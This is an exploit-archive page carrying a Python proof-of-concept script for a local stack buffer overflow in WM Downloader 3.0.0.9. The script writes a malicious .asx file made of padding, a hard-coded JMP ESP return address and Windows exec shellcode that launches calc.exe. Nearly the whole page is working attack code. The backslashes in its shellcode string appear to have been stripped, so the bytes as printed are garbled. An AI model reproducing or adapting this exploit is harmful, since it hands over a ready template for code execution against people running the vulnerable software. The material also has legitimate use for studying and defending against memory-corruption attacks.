[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : WM Downloader 3.0.0.9 (.asx) Local Buffer Overflow
# Published : 2010-03-31
# Author : b0telh0
# Previous Title : Free MP3 CD Ripper 2.6 (wav) 1day stack buffer overflow PoC exploit
# Next Title : RM Downloader 3.0.2.1 (.asx) Local Buffer Overflow (SEH)
#!/usr/bin/python
#
# Title: WM Downloader 3.0.0.9 (.asx) Local Buffer Overflow
# Date: 03-29-2010
# Author: b0telh0
# Tested on: Windows XP SP3
#
# windows/exec - 227 bytes
# EXITFUNC=process, CMD=calc.exe
#
shellcode = ("x29xc9xb1x33xdaxd3xbdx07x4ax9ex37xd9x74x24xf4"
"x5bx83xc3x04x31x6bx0fx03x6cx45x7cxc2x8exb1x09"
"x2dx6ex42x6axa7x8bx73xb8xd3xd8x26x0cx97x8cxca"
"xe7xf5x24x58x85xd1x4bxe9x20x04x62xeax84x88x28"
"x28x86x74x32x7dx68x44xfdx70x69x81xe3x7bx3bx5a"
"x68x29xacxefx2cxf2xcdx3fx3bx4axb6x3axfbx3fx0c"
"x44x2bxefx1bx0exd3x9bx44xafxe2x48x97x93xadxe5"
"x6cx67x2cx2cxbdx88x1fx10x12xb7x90x9dx6axffx16"
"x7ex19x0bx65x03x1axc8x14xdfxafxcdxbex94x08x36"
"x3fx78xcexbdx33x35x84x9ax57xc8x49x91x63x41x6c"
"x76xe2x11x4bx52xafxc2xf2xc3x15xa4x0bx13xf1x19"
"xaex5fx13x4dxc8x3dx79x90x58x38xc4x92x62x43x66"
"xfbx53xc8xe9x7cx6cx1bx4ex72x26x06xe6x1bxefxd2"
"xbbx41x10x09xffx7fx93xb8x7fx84x8bxc8x7axc0x0b"
"x20xf6x59xfex46xa5x5ax2bx25x28xc9xb7x84xcfx69"
"x5dxd9");
junk = "x41" * 26112
eip = "x53x93x37x7E" # 7E379353 USER32.dll (JMP ESP)
nops = "x90" * 20
junk2 = "x41" * 3884
try:
file = open('b0t.asx','w');
file.write(junk+eip+nops+shellcode+junk2);
file.close();
print "n[+] b0t.asx created."
print "[+] Open WmDownloader.exe..."
print "[+] and load b0t.asx.n"
except:
print "n[-] Error.. Can't write file to system.n"